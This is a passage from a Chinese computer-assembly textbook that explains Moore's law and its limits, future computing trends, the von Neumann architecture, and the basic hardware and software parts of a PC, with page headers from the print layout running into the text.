电脑以大规模和超大规模集成电路作为基本电子元件后，使得体积更加小型化，功耗更低，价格更便宜，这为电脑的普及铺平了道路。
这时微型机应运而生，为电脑的普及以及网络化创造了条件。
1.1.3 电脑的未来展望戈登·摩尔是Intel公司创始人之一，1965年，他预言了电脑集成技术的发展规律，那23第1章 电脑的组成原理与基本结构 ¤︻电脑基础·实例·上机系列教程︼就是每18个月在同样面积的芯片中集成的晶体管数将翻一番，而成本将下降一半。
几十年来，电脑芯片的集成度严格按照摩尔定律进行发展，不过它已经走到了尽头。
由于电脑采用的是电流作为数据传输的信号，而电流主要靠电子的迁移而产生，电子最基本的通路是原子，一个原子的直径大约等于1nm ，目前芯片的制造工艺已经达到了90nm 甚至更小，也就是说一条传输电流的导线的直径即为90个原子并排的长度。
照这样发展下去，最终一条导线的直径可以达到一个原子的直径长度，但是这样的电路是极不稳定的，因为电流极易造成原子迁移，那么电路也就断路了。
由于晶体管电脑存在上述的物理极限，因而人类在较早的时候就开始了各种非晶体管电脑的研究，如“梦幻式”的超导电脑、生物电脑、光学电脑等，其中研究成果最为显著的是光学电脑。
2003年10月底，以色列Lenslet 公司研发的Enlight ——全球首枚嵌入光核心的商用向量光学数字处理器问世，它的运算速度达到了80 000亿次每秒，是普通数字信号处理器的1000倍。
这些电脑被称为第五代电脑，其速度将达到10 000亿次每秒，能在更大程度上仿真人的智能，并在某些方面超过人的智能。
目前，电脑还在向以下4个方面发展。
↘ 巨型化在天文、天气预报、军事、生物仿真等领域，需进行大量的数据处理和运算，这需要性能强劲的电脑才能完成，普通的电脑可能算上十天半个月都得不到结果。
为满足这些特殊应用领域的需求，这就需要研制功能更强的巨型电脑。
↘ 微型化现在，在办公和家庭中大量使用的就是一种微型电脑。
有些专用微型电脑还用于各种仪器和家用电器中，为了方便人们外出旅行，出现了体积更小、更轻便、易于携带的微型电脑，如笔记本电脑、掌上电脑（PDA ）等。
↘ 网络化随着电脑的普及，电脑网络也逐步深入到人们工作生活的各个部分。
通过电脑网络可以连接地球上分散的电脑，然后共享各种分散的电脑资源。
现在电脑网络也是人们工作生活中不可或缺的事物，电脑网络化可以让人们足不出户就能获得大量的信息以及与世界各地的亲友进行通信、网上贸易等。
↘ 智能化以前，电脑只能按照人的意愿和指令去处理数据，而智能化的电脑能够代替人的脑力劳动，具有类似人的智能，如能听懂人类的语言，能看懂各种图形，可以自己学习等，即电脑可以进行知识的处理，已能代替人的部分工作。
¤电脑组装与维护教程︻电脑基础·实例·上机系列教程︼1.2 电脑的组成原理一台电脑系统主要由硬件和软件两大部分组成，硬件是指组成电脑的物理实体，如CPU、主板、内存等；软件是指运行于硬件之上具有一定功能，并能够对硬件进行操作、管理及控制的电脑程序，它依附于硬件。
1.2.1 硬件系统微型电脑和大型电脑都是以“电子计算机之父”冯·诺依曼所设计的体系结构为基础的，冯·诺依曼体系结构就像一本书的目录一样，使得电脑的发展变化从未越出其规定和约束。
冯·诺依曼体系结构规定电脑主要由运算器、控制器、存储器、输入设备和输出设备等几部分组成，如图1-1所示。
存储器运算器控制器输出设备输入设备读取数据写入数据输出数据输入数据图1-1 电脑的组成1．运算器和控制器运算器，顾名思义即进行计算的机器，它被集成在CPU中，用来进行数据处理，即完成数据的算术运算和逻辑运算。
控制器是指进行控制的机器，它也被集成在CPU中，用来对电脑的运算器等部件进行控制，控制器可以发出各种指令，以控制整个电脑的运行，指挥和协调电脑各部件的工作。
运算器和控制器合称为中央处理单元，英文名为Central Processing Unit，简称CPU。
CPU是整个电脑的中枢，通过各部分的协同工作，实现数据的分析、判断和计算等处理，以完成程序所指定的任务。
2．存储器存储器是电脑存放数据的仓库，存储器分为内存储器和外存储器。
内存储器又叫内存或主存，其容量较小，但速度快，用于存放临时数据；外存储器是辅助存储器，简称外存，其容量较大，但速度较慢，用于存放电脑暂时不用的数据和程序。
内存和外存的关系就像大米口袋和粮仓的关系，大米口袋用于存放要吃的大米，粮仓则存放暂时不吃的粮食。
3．输入设备输入设备是指将数据输入到电脑中的设备，在早期，输入设备是一台读孔的机器，它只能输入“0”和“1”两种数字。
随着高级语言的出现，人们逐渐发明了键盘、鼠标、扫描仪和手写板等人性化的输入设备，从而使电脑不再只是科学家能够操作的工具，一般人45第1章 电脑的组成原理与基本结构 ¤︻电脑基础·实例·上机系列教程︼也可以轻松驾驭。
4．输出设备在电脑中，输出设备负责将电脑处理数据时的中间过程和结果告知人们，让人们以此来判断计算的正确性。
最初电脑的输出结果是一长串由0和1组成的机器数，人们很难对其进行判断，后来为了方便，便在电脑中加入各种转换设备，将机器数转换成人们能够轻松识别的数字、字符、表格、图形等。
最常见的输出设备有显示器、打印机和绘图仪等，现在显示器已成为每台电脑的必配输出设备。
1.2.2 软件系统软件系统运行在电脑硬件系统上，其作用是运行、管理和维护电脑系统，并充分发挥电脑性能。
电脑软件都是由电脑语言编制而成的程序，由于软件的功能各有不同，因此可将其分为系统软件、程序设计语言和应用软件3大类。
↘ 系统软件：主要作用是对电脑的软硬件资源进行管理，并为用户提供各种服务。
系统软件比较复杂，由一个或多个团体开发而成，包括操作系统、监控管理软件和编译程序等，如Windows 等。
↘ 程序设计语言：作用是将用户语言翻译成电脑能够识别的机器语言，用户能对电脑进行控制，程序设计语言有机器语言、汇编语言和高级语言等。
↘ 应用软件：指一些具有特定功能的软件，这些软件能够帮助用户完成特定的任务，如图形处理软件、数据库设计软件等。
1.3 电脑的基本结构从外观上看，电脑由主机、显示器、鼠标、键盘和音箱等设备组成，如图1-2所示。
6 ¤电脑组装与维护教程︻电脑基础·实例·上机系列教程︼图1-2 电脑的基本组成为了更好地了解电脑，这里将电脑细分为主机中的CPU（中央处理器）、主板、内存条、硬盘、软驱、光驱、显卡、声卡、机箱，以及显示器、键盘、鼠标、音箱、打印机、扫描仪、传真机和游戏手柄等。